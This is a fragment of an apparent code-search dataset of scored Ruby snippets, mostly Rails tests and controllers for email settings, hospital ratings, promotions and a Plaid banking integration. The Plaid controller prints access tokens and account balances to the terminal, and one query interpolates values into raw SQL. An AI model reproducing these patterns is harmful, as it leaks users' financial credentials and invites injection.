true\n end", "title": "" }, { "docid": "aff823502fc28060b087feda33755f3f", "score": "0.51392096", "text": "def test_ut_t5_sef_est_005\n current_user = User.find(PJ_ADMIN_ID)\n email_setting = EmailSetting.find(:first,\n :conditions => { :pj_id => PJ_ID})\n email_setting.user_ids = \"\"\n email_setting.save\n list_user = [\"#{TCANA_ADMIN_ID}\",\"#{PU_ADMIN_ID}\",\"#{PJ_ADMIN_ID}\",\"#{PJ_MEMBER_ID}\"]\n email_setting.add_email_users(list_user,PJ_ID,current_user)\n new_email_setting = EmailSetting.find(email_setting.id)\n assert !new_email_setting.user_ids.include?(\"#{TCANA_ADMIN_ID}\")\n assert !new_email_setting.user_ids.include?(\"#{PU_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_MEMBER_ID}\")\n end", "title": "" }, { "docid": "19776ef40f21681d33e0c443e96d2450", "score": "0.5137926", "text": "def test_duplicate_continents\n data = { 'name' => 'Wandering albatross', 'family' => 'Diomedeidae',\n 'continents' => ['Antarctica', 'Antarctica'], 'added' => '1993-03-15' }\n post '/birds', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end", "title": "" }, { "docid": "364db4a3b344736e992ec8af391a3528", "score": "0.5137158", "text": "def create\n\n client = @@client\n\n # CREATE ITEM\n ########################################################################################################\n\n # Converts public token to access token\n exchange_token_response = client.item.public_token.exchange(params['public_token'])\n access_token = exchange_token_response['access_token']\n\n # Retrieves item_id \n item_id = exchange_token_response['item_id']\n\n # Retrieves institution_id\n response = client.item.get(access_token)\n item = response['item']\n inst_id = item['institution_id']\n\n # Retrieves Institution name\n response = client.institutions.get_by_id(inst_id)\n institution = response['institution'] \n inst_name = institution['name']\n\n # Prints key and token info to terminal\n puts \" \"\n puts \" \"\n puts \"Public Token: \" + params['public_token']\n puts \"exchange_token_response: \" + exchange_token_response.to_s\n puts \"Access Token: \" + access_token\n puts \"Item ID: \" + item_id\n puts \"Institution ID: \" + inst_id\n puts \"Institution Name: \" + inst_name\n puts \" \"\n puts \" \"\n\n # Commits item save to database\n @item = Item.new({\n item_name: inst_name,\n item_id: item_id,\n access_token: access_token,\n user_id: current_user.id,\n institution_id: inst_id\n })\n @item.save!\n\n ########################################################################################################\n\n # CREATE ACCOUNTS AFTER ITEM HAS BEEN SAVED\n ########################################################################################################\n\n # Pull real-time balance information for each account associated with the Item\n response = client.accounts.balance.get(access_token)\n accounts = response[:accounts]\n\n # Saves each account from item to database\n accounts.each do |account|\n\n # Prints info from API call to terminal\n puts \" \"\n puts \" \"\n puts \"Account ID:\" + account.account_id\n puts \"Account Name:\" + account.name\n puts \"Account Subtype: \" + account.subtype\n puts \"Account Available: \" + account.balances[:available].to_s\n puts \"Account Balance: \" + account.balances[:current].to_s\n puts \"Account Currency: \" + account.balances[:iso_currency_code]\n puts \" \"\n puts \" \"\n\n # Converts string amounts to decimal\n available = account.balances[:available].to_s\n available_decimal = available.to_d\n\n current = account.balances[:current].to_s\n current_decimal = current.to_d\n\n # Commits account save to database\n @account = Account.new({\n account_name: account.name,\n item_id: @item.id,\n user_id: current_user.id,\n account_id_plaid: account.account_id,\n subtype: account.subtype,\n available: available_decimal,\n current: current_decimal,\n currency_type: account.balances[:iso_currency_code]\n })\n @account.save!\n\n end \n\n ########################################################################################################\n\n # SAVE TRANSACTION DATA FOR CURRENT MONTH\n ########################################################################################################\n\n #Pulls all transactions from the current month\n response = client.transactions.get(access_token, Date.today.at_beginning_of_month, Date.today.end_of_month)\n\n # Pulls only individual transaction info\n transactions = response.transactions\n\n transactions.each do |transaction|\n\n puts \" \"\n puts \" \"\n puts \"Transaction ID: \" + transaction.transaction_id\n puts \"Account ID: \" + transaction.account_id\n puts \"Category ID: \" + transaction.category_id\n puts \"User ID: \" + \"use current_user.id here\"\n puts \"Name: \" + transaction.name\n puts \"Amount: \" + transaction.amount.to_s\n puts \"Date: \" + transaction.date\n puts \"Type: \" + transaction.transaction_type\n puts \"Currency Type: \" + transaction.iso_currency_code\n puts \"Pending: \" + transaction.pending.to_s\n puts \"\"\n puts \"\"\n\n # Converts string to decimal \n amount = transaction.amount.to_s\n amount_decimal = amount.to_d\n\n # Finds account ID from Account Model based on Plaid Account ID\n account = Account.find_by(account_id_plaid: transaction.account_id)\n account_id = account.id\n\n @transaction = Transaction.new({\n name: transaction.name,\n plaid_category_API_ID: transaction.category_id,\n account_id_plaid: transaction.account_id,\n user_id: current_user.id,\n transaction_id: transaction.transaction_id, \n amount: amount_decimal,\n account_id: account_id,\n transaction_date: transaction.date,\n transaction_type: transaction.transaction_type,\n currency_type: transaction.iso_currency_code,\n pending: transaction.pending\n })\n @transaction.save!\n\n end\n\n ########################################################################################################\n\n render \"show.json.jbuilder\"\n end", "title": "" }, { "docid": "bc72ee7d97562bf19be6272a4890865d", "score": "0.5112478", "text": "def check_target_market_validity_for_bulk_update\n #------------\n #pallet check\n #------------\n err_list = Array.new\n pallet_orgs = self.connection.select_all(\"select distinct organization_code from rw_active_pallets where rw_run_id = #{self.rw_run_id.to_s}\")\n pallet_orgs.each do |pallet_org|\n if !TargetMarket.is_valid_for_org?(pallet_org[\"organization_code\"],self.target_market_short)\n err_list.push([\"pallets\",pallet_org[\"organization_code\"],self.target_market_short])\n end\n end\n \n carton_orgs = self.connection.select_all(\"select distinct organization_code from rw_active_cartons where rw_run_id = #{self.rw_run_id.to_s}\")\n carton_orgs.each do |carton_org|\n if !TargetMarket.is_valid_for_org?(carton_org[\"organization_code\"],self.target_market_short)\n err_list.push([\"cartons\",carton_org[\"organization_code\"],self.target_market_short])\n end\n end\n \n return err_list\n \n end", "title": "" }, { "docid": "aa7680a32a6aba1d7ecc49862aec5fb3", "score": "0.50944144", "text": "def create\n required = [:firebase_token, :hospital_placename, :hospital_address, :wait_vote, :struct_vote, :service_vote, :timestamp]\n if required.all? {|k| params.has_key? k} #http://localhost:3000/addresses?one=1&two=2&three=3\n # here you know params has all the keys defined in required array\n data= get_user_id(params[:firebase_token])\n id=nil\n verified=\"false\"\n unless data.nil?\n id = data[\"user_id\"]\n verified = data[\"email_verified\"]\n end\n unless id.nil? && verified == \"false\"\n user = User.new\n user.id = id\n if User.exists?(id: user.id)\n user = User.find(id)\n else\n user.save\n end\n sub_date=DateTime.parse(params[:timestamp]) rescue sub_date=DateTime.parse(\"0001-01-01\")\n if params[:wait_vote].to_i<=5 && params[:struct_vote].to_i<=5 && params[:service_vote].to_i<=5 && params[:wait_vote].to_i>=0 && params[:struct_vote].to_i>=0 && params[:service_vote].to_i>=0 && sub_date.today? && !Evaluation.where(\"entity = :id AND date = :passed_date AND hospital = :hospital_searched AND address = :address_searched \",{id: user.id, passed_date: params[:timestamp], hospital_searched: params[:hospital_placename], address_searched: params[:hospital_address]}).exists?\n submitted=0\n evaluations = Evaluation.where(\"entity = :id\",{id: user.id})\n evaluations.each do |e|\n if e.created_at.today?\n submitted+=1\n end\n end\n if submitted<ENV['MAX_ALLOWED_DAILY_SUBMISSIONS'].to_i\n firebase = Firebase::Client.new(ENV['FIREBASE_PROJECT_DATABASE_URI'], ENV['FIREBASE_SDK_SECRET'])\n if Hospital.where(\"place_name = :passed_name AND address_name = :searched_address\",{passed_name: params[:hospital_placename], searched_address: params[:hospital_address]}).exists?\n hospital=Hospital.where(\"place_name = :passed_name AND address_name = :searched_address\",{passed_name: params[:hospital_placename], searched_address: params[:hospital_address]}).take\n usr_evaluation = Evaluation.new\n usr_evaluation.date=sub_date.to_formatted_s(:iso8601)\n usr_evaluation.hospital=hospital.place_name\n usr_evaluation.entity=user.id\n usr_evaluation.address=hospital.address_name\n usr_evaluation.wait_vote=params[:wait_vote]\n usr_evaluation.struct_vote=params[:struct_vote]\n usr_evaluation.service_vote=params[:service_vote]\n response = firebase.push(\"user/#{id}/votes\", {hospital: usr_evaluation.hospital, address: usr_evaluation.address, wait_vote: usr_evaluation.wait_vote, struct_vote: usr_evaluation.struct_vote, service_vote: usr_evaluation.service_vote, timestamp: usr_evaluation.date, :created => Firebase::ServerValue::TIMESTAMP})\n usr_evaluation.firebase_id = (JSON.parse(response.raw_body)['name'])\n response = firebase.push(\"hospital_votes\", {hospital: usr_evaluation.hospital,address: usr_evaluation.address, wait_vote: usr_evaluation.wait_vote,struct_vote: usr_evaluation.struct_vote,service_vote: usr_evaluation.service_vote, :created => Firebase::ServerValue::TIMESTAMP})\n usr_evaluation.firebase_id_public = (JSON.parse(response.raw_body)['name'])\n usr_evaluation.save\n render :json => {:code => \"500\", :status => \"OK\", :message => \"Vote correctly submitted.\"}\n else\n #create hospital\n hospital=Hospital.new\n hospital.place_name=params[:hospital_placename]\n hospital.address_name=params[:hospital_address]\n hospital.save\n usr_evaluation = Evaluation.new\n usr_evaluation.date=sub_date.to_formatted_s(:iso8601)\n usr_evaluation.hospital=hospital.place_name\n usr_evaluation.entity=user.id\n usr_evaluation.address=hospital.address_name\n usr_evaluation.wait_vote=params[:wait_vote]\n usr_evaluation.struct_vote=params[:struct_vote]\n usr_evaluation.service_vote=params[:service_vote]\n response = firebase.push(\"user/#{id}/votes\", {hospital: usr_evaluation.hospital,address: usr_evaluation.address, wait_vote: usr_evaluation.wait_vote,struct_vote: usr_evaluation.struct_vote,service_vote: usr_evaluation.service_vote, timestamp: usr_evaluation.date , :created => Firebase::ServerValue::TIMESTAMP})\n usr_evaluation.firebase_id = (JSON.parse(response.raw_body)['name'])\n response = firebase.push(\"hospital_votes\", {hospital: usr_evaluation.hospital,address: usr_evaluation.address, wait_vote: usr_evaluation.wait_vote,struct_vote: usr_evaluation.struct_vote,service_vote: usr_evaluation.service_vote, :created => Firebase::ServerValue::TIMESTAMP})\n usr_evaluation.firebase_id_public = (JSON.parse(response.raw_body)['name'])\n usr_evaluation.save\n render :json => {:code => \"500\", :status => \"OK\", :message => \"Vote correctly submitted (first).\"}\n end\n else\n render :json => {:code => \"409\", :status => \"Conflict\", :message => \"Passed today's submission limit.\"}\n end\n else\n render :json => { :code => \"400\", :status => \"Error\", :message => \"Unacceptable params.\"}\n end\n else\n render :json => {:code => \"401\", :status => \"Error\", :message => \"Not authorized.\" }\n end\n else\n render :json => {:code => \"400\", :status => \"Error\", :message => \"Bad request.\" }\n end\n end", "title": "" }, { "docid": "ec5727e356d3bf1d88f564ac3c550522", "score": "0.50926507", "text": "def insert_request(data)\n # Validate the visitorID and convert to hex if necessary \n data['visitorID'] = ROmniture::VisitorID.new(data['visitorID']).dec\n response = send_insert_request(data)\n\n begin\n parsed = ActiveSupport::XmlMini::parse(response.body)\n status = parsed['status']['__content__']\n rescue Exception => e\n parsed = {}\n log(Logger::ERROR, \"Error in request response:\\n#{response.body}\")\n log(Logger::ERROR, e.to_s)\n end\n\n log(Logger::INFO, \"Successfully inserted for #{data['visitorID']} - #{data['timestamp']}\")\n\n if status != \"SUCCESS\"\n raise \"Insert did not succeed.\"\n end\n\n parsed\n end", "title": "" }, { "docid": "337c115f536fc73e6cfd3ed7abb0beba", "score": "0.5090254", "text": "def test_ut_t5_sef_est_006\n current_user = User.find(PJ_MEMBER_ID)\n email_setting = EmailSetting.find(:first,\n :conditions => { :pj_id => PJ_ID})\n email_setting.user_ids = \"\"\n email_setting.save\n list_user = [\"#{TCANA_ADMIN_ID}\",\"#{PU_ADMIN_ID}\",\"#{PJ_ADMIN_ID}\",\"#{PJ_MEMBER_ID}\"]\n email_setting.add_email_users(list_user,PJ_ID,current_user)\n new_email_setting = EmailSetting.find(email_setting.id)\n assert !new_email_setting.user_ids.include?(\"#{TCANA_ADMIN_ID}\")\n assert !new_email_setting.user_ids.include?(\"#{PU_ADMIN_ID}\")\n assert !new_email_setting.user_ids.include?(\"#{PJ_ADMIN_ID}\")\n assert new_email_setting.user_ids.include?(\"#{PJ_MEMBER_ID}\")\n end", "title": "" }, { "docid": "3bba4eb9d7e5f397ec8fc1c88bfb5e48", "score": "0.50880605", "text": "def add_social_account_details\n if SocialAccount.find_by_facebook_page_id(params[:facebook_page_id])\n SocialAccount.find_by_facebook_page_id(params[:facebook_page_id])\n .update_attributes(\n :facebook_page_id=>params[:facebook_page_id],\n :facebook_page_count=>params[:facebook_page_likes],\n :influencer_id=>current_influencer.id,\n :facebook_page_title=>params[:page_name])\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>updated\"\n else\n SocialAccount.create!(\n :facebook_page_id=>params[:facebook_page_id],\n :facebook_page_count=>params[:facebook_page_likes],\n :influencer_id=>current_influencer.id,\n :facebook_page_title=>params[:page_name])\n puts \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>created\"\n end\n render :json=>{\n :status=>\"updated\",\n :code=>200\n }\n\n # if current_influencer.social_account.present?\n # current_influencer.social_account.update_attributes(:facebook_page_id=>params[:social_account][:facebook_page_id])\n # flash[:success] = \"Social Account Updated, Data from Facebook will be pulled in 24 hours\"\n # else\n # SocialAccount.create!(create_social_account)\n # flash[:success] = \"Successfully created, Data from Facebook will be pulled in 24 hours\"\n # end\n # redirect_to :back\n end", "title": "" }, { "docid": "fe1b612fc28b08a1dc9ece5076329167", "score": "0.508799", "text": "def triple_store_insert(data)\n if data[\"svd\"][\"is_new\"] == true\n response = SemanticVernacularDescription.insert(data[\"svd\"])\n end\n if data[\"label\"][\"value\"]\n response = VernacularLabel.insert(\n data[\"svd\"], \n data[\"label\"],\n data[\"user\"])\n end\n if data[\"description\"][\"uri\"]\n response = VernacularFeatureDescription.insert(\n data[\"svd\"], \n data[\"description\"],\n data[\"features\"],\n data[\"user\"])\n end\n if data[\"scientific_names\"].length > 0\n response = ScientificName.insert(\n data[\"svd\"], \n data[\"scientific_names\"])\n end\n return response\n end", "title": "" }, { "docid": "6751b528fcc0e8034ba0ed8184be1423", "score": "0.50865656", "text": "def test_build_post_account_json\n expected = {\n \"AccountApiKey\" => \"15b1431c-6d9c-4bf3-8bce-e89e6887a3f2\",\n \"AccountUsername\" => \"milton_waddams\",\n \"AccountUpdate_Info\" => {\n \"AccountEmail\" => \"milton_waddams@initech.com\",\n \"AccountFirstName\" => \"Milton\",\n \"AccountMiddleName\" => \"\",\n \"AccountLastName\" => \"Waddams\",\n \"AccountPhone\" => \"555-555-1212\",\n \"AccountBio\" => \"\",\n \"AccountTitle\" => \"\"\n }\n }\n result = @client.build_post_account_json(@account)\n assert_equal expected, result\n end", "title": "" }, { "docid": "9357b3ad7adb7a91c75f3f505b703477", "score": "0.5083894", "text": "def test_has_required_fields\n # Complete event\n # e = Event.new(:jambase_id => 130442, :ticket_url => \"http://www.fake.com\", :event_url => \"http://www.fake.com\", :date => Time.now, :venue_id => 12)\n \n e = Event.new(:jambase_id => 130442, :ticket_url => \"http://www.fake.com\", :date => Time.now, :venue_id => 12)\n assert e.save\n \n e = Event.new(:jambase_id => 130442, :event_url => \"http://www.fake.com\", :date => Time.now, :venue_id => 12) \n assert e.save\n \n e = Event.new(:ticket_url => \"http://www.fake.com\", :event_url => \"http://www.fake.com\", :date => Time.now, :venue_id => 12) \n assert !e.save\n \n e = Event.new(:jambase_id => 130442, :ticket_url => \"http://www.fake.com\", :event_url => \"http://www.fake.com\", :venue_id => 12)\n assert !e.save \n \n e = Event.new(:jambase_id => 130442, :ticket_url => \"http://www.fake.com\", :event_url => \"http://www.fake.com\", :date => Time.now)\n assert !e.save\n end", "title": "" }, { "docid": "d243a3c22ee1fb3a08f4f234435014e1", "score": "0.5083731", "text": "def update_activation_keys(hostgroup_id, activation_keys)\n \n if activation_keys.is_a?(Array)\n activation_keys = activation_keys.join(\",\")\n end\n puts \"Trying to update or create activation key #{activation_keys} for HG_ID #{hostgroup_id}\"\n\n req = @api.call(:hostgroups, :show , {:organization_id => @options[:org], :id => hostgroup_id.to_i }) \n puts_verbose \"Current parameters for hostgroup (#{hostgroup_id}):\"\n puts_verbose req['parameters']\n\n param_activation_key = req['parameters'].select {|param| param['name'] == 'kt_activation_keys' }\n if req['parameters'].empty? or param_activation_key.empty?\n puts_verbose( \"No param kt_activation_key present.. creating key\")\n req = @api.call(:parameters , :create , { :hostgroup_id => hostgroup_id.to_i, :parameter => { :name => 'kt_activation_keys', :value => activation_keys }}) \n puts_verbose(\"added key\")\n\n else\n param_activation_key = param_activation_key.first\n puts_verbose(\"Current param kt_activation_keys\")\n puts_verbose(\"It has ID: #{param_activation_key['id']}\")\n puts \"Updating activation_key to #{activation_keys}\"\n req = @api.call(:parameters , :update , { :hostgroup_id => hostgroup_id.to_i, :id => param_activation_key['id'].to_i , :parameter => { :name => 'kt_activation_keys', :value => activation_keys }}) \n puts \"Done\"\n end\n\nend", "title": "" }, { "docid": "6a12c825e9114d1475f52c4df45cf428", "score": "0.50813663", "text": "def test_insert\n\n # Try inserting from a non-Admin account.\n post(:insert, { :id => sections(:section_01_1).id }, rich_designer_session)\n assert_redirected_to(:controller => 'tracker', :action => 'index')\n assert_equal(Pcbtr::MESSAGES[:admin_only], flash['notice'])\n\n # Try inserting from an Admin account\n post(:insert, { :id => sections(:section_01_1).id }, cathy_admin_session)\n assert_response 200\n assert_equal(sections(:section_01_1).checklist_id,\n assigns(:new_section).checklist_id)\n\n end", "title": "" }, { "docid": "46cbbd7636c6917e8cbd9e53a7153b08", "score": "0.508057", "text": "def dating_resources(db, name, is_verified_source)\n db.execute(\"INSERT INTO dating_resources (name, is_verified_source) VALUES (?, ?)\", [name, is_verified_source])\nend", "title": "" }, { "docid": "ebd532973439b07783ee94540f3b9d13", "score": "0.507952", "text": "def save!\n url = \"#{Rails.configuration.waste_exemplar_services_url}/registrations/#{uuid}.json\"\n saved = true\n begin\n response = RestClient.put(url, to_json, content_type: :json, accept: :json)\n result = JSON.parse(response.body)\n\n # Update metadata and financedetails with that from the service\n if result['addresses'] #array of addresses\n address_list = []\n result['addresses'].each do |address_hash|\n address = Address.init(address_hash)\n address_list << address\n end\n self.addresses.replace(address_list)\n end\n\n self.metaData.replace( [Metadata.init(result['metaData'])])\n\n\n unless self.tier == 'LOWER'\n Rails.logger.debug 'Initialise finance details'\n self.finance_details.replace( [FinanceDetails.init(result['financeDetails'])] )\n end\n\n self.conviction_search_result.replace( [ConvictionSearchResult.init(result['conviction_search_result'])]) if result['conviction_search_result']\n\n if result['conviction_sign_offs'] #array of conviction sign offs\n sign_offs = []\n result['conviction_sign_offs'].each do |sign_off_hash|\n sign_off = ConvictionSignOff.init(sign_off_hash)\n sign_offs << sign_off\n end\n self.conviction_sign_offs.replace sign_offs\n end\n\n save\n rescue => e\n Airbrake.notify(e)\n Rails.logger.error 'An error occurred during saving the registration: ' + e.to_s\n\n if e.try(:http_code)\n if e.http_code == 422\n # Get actual error from services\n htmlDoc = Nokogiri::HTML(e.http_body)\n messageFromServices = htmlDoc.at_css(\"body ul li\").content\n Rails.logger.error messageFromServices\n # Update order with a exception message\n self.exception = messageFromServices\n elsif e.http_code == 400\n # Get actual error from services\n htmlDoc = Nokogiri::HTML(e.http_body)\n messageFromServices = htmlDoc.at_css(\"body pre\").content\n Rails.logger.error messageFromServices\n # Update order with a exception message\n self.exception = messageFromServices\n end\n else\n self.exception = e.to_s\n end\n\n saved = false\n end\n saved\n end", "title": "" }, { "docid": "b8a4e6b80bc2a404ddc4325fb044c6fb", "score": "0.5077141", "text": "def stored!(request); end", "title": "" }, { "docid": "e30b8d90e1b2267389059f5a6df609b7", "score": "0.5074725", "text": "def test_only_lakehead_emails\n @db_modified = true\n data = post_create_user('email' => 'user1@notlakeheadu.ca',\n 'password' => 'password')\n assert_equal('error', data[0]['kind'])\n end", "title": "" }, { "docid": "d86b7406ec505fa1af909f9c640904a6", "score": "0.5073359", "text": "def were_fields_requested?; end", "title": "" }, { "docid": "53c571984133403e86bf83fdba53c711", "score": "0.50693876", "text": "def test_promo_cache_taxonomy_for_defined_groups\n # Setup\n @user = setup_user\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless @promo['TeamNames'].empty?\n\n put '/usr', params, headers\n assert_response(@response, :success)\n\n promo_points = @active_promo_points['points']\n refute_empty(promo_points['ReviewPoints'], promo_points)\n refute_empty(promo_points['PhotoPoints'], promo_points)\n\n # Step 1\n int_xxids = {\n 'asian' => 10133136,\n 'japanese' => 496310697,\n 'chinese' => 11132682,\n 'sushi' => 3005370,\n }\n\n businesses = {}\n search_opts = { 'promo_id' => @active_promo_id }\n int_xxids.each_value do |int_xxid|\n get_consumer_business_resp(int_xxid, search_opts)\n assert_response(@response, :success)\n business = @parsed_response['Business']\n\n review_points = 0\n photo_points = 0\n if int_xxid == int_xxids['asian'] || int_xxid == int_xxids['japanese']\n check = promo_points['ReviewPoints'].find { |r| r['HeadingCode'] == business['HeadingCode'] }\n if check && check['Points']\n review_points = check['Points']\n end\n\n check = promo_points['PhotoPoints'].find { |r| r['HeadingCode'] == business['HeadingCode'] }\n if check && check['Points']\n photo_points = check['Points']\n end\n else\n business['AllHeadingCodes'].each do |ahc|\n check = promo_points['ReviewPoints'].find { |r| r['HeadingCode'] == ahc }\n if check && check['Points']\n if check['Points'] > review_points\n review_points = check['Points']\n end\n end\n\n check = promo_points['PhotoPoints'].find { |p| p['HeadingCode'] == ahc }\n if check && check['Points']\n if check['Points'] > photo_points\n photo_points = check['Points']\n end\n end\n end\n end\n\n name = business['HeadingText'].gsub(' Restaurants', '').gsub(' Menus', '').gsub(' Bars', '')\n\n points = {\n 'Promo' => {\n 'ReviewPoints' => review_points,\n 'PhotoPoints' => photo_points,\n }\n }\n businesses[name] = points\n end\n refute_empty(businesses)\n\n # Step 2\n asian_review = businesses['Asian']['Promo']['ReviewPoints']\n asian_photo = businesses['Asian']['Promo']['PhotoPoints']\n chinese_review = businesses['Chinese']['Promo']['ReviewPoints']\n chinese_photo = businesses['Chinese']['Promo']['PhotoPoints']\n japanese_review = businesses['Japanese']['Promo']['ReviewPoints']\n japanese_photo = businesses['Japanese']['Promo']['PhotoPoints']\n sushi_review = businesses['Sushi']['Promo']['ReviewPoints']\n sushi_photo = businesses['Sushi']['Promo']['PhotoPoints']\n\n # Asian(G) and Chinese Restaurants should match\n assert_equal(asian_review, chinese_review, \"Expected Match - asian_review: #{asian_review}, chinese_review: #{chinese_review}\")\n assert_equal(asian_photo, chinese_photo, \"Expected Match - asian_photo: #{asian_photo}, chinese_photo: #{chinese_photo}\")\n # Asian and Japanese(G) Restaurants should not match\n refute_equal(asian_review, japanese_review, \"Expected Not to Match - asian_review: #{asian_review}, japanese_review: #{japanese_review}\")\n refute_equal(asian_photo, japanese_photo, \"Expected Not to Match - asian_photo: #{asian_photo}, japanese_photo: #{japanese_photo}\")\n # Japanese(G) and Sushi Restaurants should match\n assert_equal(japanese_review, sushi_review, \"Expected Match - japanese_review: #{japanese_review}, sushi_review: #{sushi_review}\")\n assert_equal(japanese_photo, sushi_photo, \"Expected Match - japanese_photo: #{japanese_photo}, sushi_photo: #{sushi_photo}\")\n # Chinese and Sushi Restaurants should not match\n refute_equal(chinese_review, sushi_review, \"Expected Not to Match - chinese_review: #{chinese_review}, sushi_review: #{sushi_review}\")\n refute_equal(chinese_photo, sushi_photo, \"Expected Not to Match - chinese_photo: #{chinese_photo}, sushi_photo: #{sushi_photo}\")\n end", "title": "" }, { "docid": "6f6cbb62c8391926279267cd86dab260", "score": "0.50675124", "text": "def fill_with_data(data)\n if data.include? \"id\"\n @id = data[\"id\"]\n end\n if data.include? \"project\"\n @project = data[\"project\"]\n end\n if data.include? \"plan\"\n @plan = data[\"plan\"]\n end\n if data.include? \"customer\"\n @customer = data[\"customer\"]\n end\n if data.include? \"token\"\n @token = data[\"token\"]\n end\n if data.include? \"url\"\n @url = data[\"url\"]\n end\n if data.include? \"name\"\n @name = data[\"name\"]\n end\n if data.include? \"amount\"\n @amount = data[\"amount\"]\n end\n if data.include? \"currency\"\n @currency = data[\"currency\"]\n end\n if data.include? \"metadata\"\n @metadata = data[\"metadata\"]\n end\n if data.include? \"interval\"\n @interval = data[\"interval\"]\n end\n if data.include? \"trial_end_at\"\n @trial_end_at = data[\"trial_end_at\"]\n end\n if data.include? \"activated\"\n @activated = data[\"activated\"]\n end\n if data.include? \"active\"\n @active = data[\"active\"]\n end\n if data.include? \"canceled\"\n @canceled = data[\"canceled\"]\n end\n if data.include? \"cancellation_reason\"\n @cancellation_reason = data[\"cancellation_reason\"]\n end\n if data.include? \"pending_cancellation\"\n @pending_cancellation = data[\"pending_cancellation\"]\n end\n if data.include? \"cancel_at\"\n @cancel_at = data[\"cancel_at\"]\n end\n if data.include? \"return_url\"\n @return_url = data[\"return_url\"]\n end\n if data.include? \"cancel_url\"\n @cancel_url = data[\"cancel_url\"]\n end\n if data.include? \"sandbox\"\n @sandbox = data[\"sandbox\"]\n end\n if data.include? \"created_at\"\n @created_at = data[\"created_at\"]\n end\n if data.include? \"activated_at\"\n @activated_at = data[\"activated_at\"]\n end\n if data.include? \"iterate_at\"\n @iterate_at = data[\"iterate_at\"]\n end\n \n self\n end", "title": "" }, { "docid": "843b1c10b9418fdf511d23fba3ff4d08", "score": "0.5062754", "text": "def test_validity_of_values\n payer_details = {\n :payer => 'Valid Payer ',\n :pay_address_one => 'add one ',\n :pay_address_two => '',\n :payer_city => ' city',\n :payer_state => 'SS',\n :payer_zip => '12345',\n :payid => 'D0009'\n }\n micr_details = {\n :aba_routing_number => '112233445',\n :payer_account_number => '112233445'\n }\n facilities_payers_information = {\n :serial_numbers_added => '1,',\n :facility_id1 => '1',\n :in_patient_payment_code1 => 'a111 ',\n :out_patient_payment_code1 => ' 222b',\n :in_patient_allowance_code1 => ' c333c ',\n :out_patient_allowance_code1 => nil,\n :capitation_code1 => ''\n }\n facilities_micr_information = {\n :serial_numbers_added => '1,',\n :facility_id1 => '1',\n :onbase_name1 => 'on base 1 ',\n :output_payid1 => ''\n }\n get :save_payer_and_its_related_attributes, {\n :payer => payer_details,\n :micr_line_information => micr_details,\n :rc_set => {:name => 'D0009'},\n :facilities_payers_information => facilities_payers_information,\n :facilities_micr_information => facilities_micr_information\n }\n expected_error_message = nil\n observed_result, observed_error_message = @controller.save_payer_and_its_related_attributes\n assert_equal true, observed_result\n assert_equal expected_error_message, observed_error_message\n payer = Payer.find_by_payer('Valid Payer')\n assert_equal 'VALID PAYER', payer.payer\n assert_equal 'ADD ONE', payer.pay_address_one\n assert_equal nil, payer.pay_address_two\n assert_equal 'CITY', payer.payer_city\n assert_equal 'SS', payer.payer_state\n assert_equal '12345', payer.payer_zip\n assert_equal 'APPROVED', payer.status\n \n \n micr = MicrLineInformation.find_by_aba_routing_number_and_payer_account_number('112233445',\n '112233445')\n assert_equal 'APPROVED', micr.status\n \n facilities_micr_info_array = FacilitiesMicrInformation.find_all_by_micr_line_information_id(micr.id)\n facilities_micr_information = facilities_micr_info_array.first\n assert_equal 'ON BASE 1', facilities_micr_information.onbase_name\n assert_equal nil, facilities_micr_information.output_payid\n\n facilities_payers_information_array = FacilitiesPayersInformation.find_all_by_payer_id(payer.id)\n facilities_payers_information = facilities_payers_information_array.first\n assert_equal 'A111', facilities_payers_information.in_patient_payment_code\n assert_equal '222B', facilities_payers_information.out_patient_payment_code\n assert_equal 'C333C', facilities_payers_information.in_patient_allowance_code\n assert_equal nil, facilities_payers_information.out_patient_allowance_code\n assert_equal nil, facilities_payers_information.capitation_code\n end", "title": "" }, { "docid": "4d4979926d2c87cc2777243aff458902", "score": "0.50610036", "text": "def validate\n r = super\n return r unless r.success?\n\n\n return error_with_identifier(\n 'invalid_api_params',\n 'um_gup_v_1',\n ['missing_images', 'missing_pdfs']\n ) if (@pdfs.blank? && @images.blank?)\n\n params_error_identifiers = []\n\n params_error_identifiers << 'invalid_pdfs' if @pdfs.present? && !Util::CommonValidateAndSanitize.is_hash?(@pdfs)\n params_error_identifiers << 'invalid_images' if @images.present? && !Util::CommonValidateAndSanitize.is_hash?(@images)\n\n return error_with_identifier(\n 'invalid_api_params',\n 'um_gup_v_2',\n params_error_identifiers\n ) if params_error_identifiers.present?\n\n @client_token_sale_details = ClientTokenSaleDetail.get_from_memcache(@client_id)\n\n\n return error_with_identifier(\n 'token_sale_ended',\n 'um_gup_v_3'\n )if @client_token_sale_details.has_token_sale_ended?\n\n image_content_types = []\n @images.each do |_, v|\n image_content_types << v.to_s.downcase\n end\n\n pdf_content_types = []\n @pdfs.each do |_, v|\n pdf_content_types << v.to_s.downcase\n end\n\n params_error_identifiers << 'invalid_pdfs' if (pdf_content_types - ['application/pdf']).any?\n params_error_identifiers << 'invalid_images' if (image_content_types - ['image/jpeg', 'image/png', 'image/jpg']).any?\n\n return error_with_identifier(\n 'invalid_api_params',\n 'um_gup_v_4',\n params_error_identifiers\n ) if params_error_identifiers.present?\n\n success\n end", "title": "" }, { "docid": "738e55d1b5f14d6c2446694d93ba747a", "score": "0.5055594", "text": "def test_promo_points_bonus_first_photo_review\n # Setup\n params = {\n 'code' => @active_promo,\n 'api_key' => @api_key\n }\n\n get '/pros/verify', params\n assert_response(@response, :success, \"Expected #{@active_promo} to be a valid and active promo, but it wasn't.\")\n assert_equal(@active_promo, @parsed_response['promo']['code'])\n assert(@parsed_response['promo']['first_photo_bonus_points'] > 0)\n assert(@parsed_response['promo']['first_review_bonus_points'] > 0)\n\n @user1 = setup_user({ 'promo_id' => @active_promo_id })\n\n assign_http(Config['turtle']['host'])\n\n headers = { 'Authorization' => \"Bearer #{@user1.oauth_token}\" }\n params = { 'promo_id' => @active_promo_id }\n params['promo_team'] = @promo['TeamNames'].sample unless 